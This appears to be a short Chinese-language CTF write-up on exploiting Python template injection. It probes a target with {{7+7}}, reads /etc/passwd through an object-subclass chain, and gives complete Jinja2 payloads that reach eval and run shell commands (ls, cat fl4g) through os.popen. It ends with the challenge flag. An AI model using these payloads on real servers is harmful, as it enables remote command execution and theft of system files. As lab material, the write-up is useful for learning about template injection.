python模板注入
看了一堆文章,也不是看的很明白,反而把題目做出來了
大概思路如下
簡單探測
http://111.198.29.45:42611/{{7+7}}
返回
說明服務器執行了{{}}里面這一段代碼
利用{{ config.items() }}可以查看服務器的配置信息
讀取passwd信息
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
執行成功
Python3代碼
執行下面這一段代碼
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} //遍歷基類 找到eval函數 {% if 'eval' in b.keys() %} //找到了 {{ b['eval']('__import__("os").popen("ls").read()') }} //導入cmd 執行popen里的命令 read讀出數據 {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
列出文件
修改一下命令
ls 改成cat fl4g,就可以讀取flag了
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} //遍歷基類 找到eval函數 {% if 'eval' in b.keys() %} //找到了 {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
Get flag成功
Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
說起來參考了這幾位師傅的文章,鏈接如下
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.cnblogs.com/wfzWebSecuity/p/9415641.html
https://xz.aliyun.com/t/2908